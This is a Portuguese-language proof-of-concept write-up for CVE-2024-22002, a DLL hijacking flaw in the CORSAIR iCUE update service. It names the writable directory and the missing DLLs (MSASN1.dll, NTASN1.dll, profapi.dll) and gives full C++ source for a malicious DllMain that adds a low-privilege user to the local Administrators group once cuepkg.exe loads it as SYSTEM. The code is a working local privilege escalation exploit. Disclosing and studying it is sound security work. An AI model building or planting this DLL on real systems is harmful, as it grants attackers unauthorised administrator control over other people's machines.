
Prova de conceito de exploit para CVE-2024-22002, demonstrando escalonamento local de privilégios via sequestro de DLL no serviço de atualização do CORSAIR iCUE para executar código como SYSTEM.
Uma vulnerabilidade de DLL Hijacking foi identificada no iCUE v5.9.105. Esta vulnerabilidade ocorre durante o processo de atualização, gerenciado pelo serviço "iCUEUpdateService". O serviço inicia um processo ("cuepkg.exe") responsável por realizar a atualização, executando com privilégios de "NT AUTHORITY\SYSTEM". Ao iniciar o processo, ele pesquisa várias DLLs no diretório \cuepkg-1.2.6, localizado dentro do diretório de instalação do iCUE. Algumas dessas DLLs não estão presentes por padrão, mas como um usuário comum tem privilégios para criar arquivos nesse diretório, um invasor poderia potencialmente introduzir uma DLL maliciosa no diretório. Consequentemente, essa DLL maliciosa seria carregada por cuepkg.exe com privilégios de Administrador.
As DLLs afetadas detectadas são as seguintes:
MSASN1.dllNTASN1.dllprofapi.dllVetor CVSS: (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Como exemplo, a DLL profapi.dll será utilizada.
%INSTALLDIR%cuepkg-1.2.6.Privilégios do usuário lowpriv antes da execução da DLL maliciosa:

Privilégios do usuário lowpriv após a execução da DLL maliciosa:

#include "pch.h"
#include <windows.h>
#include <cstdlib>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
{
system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}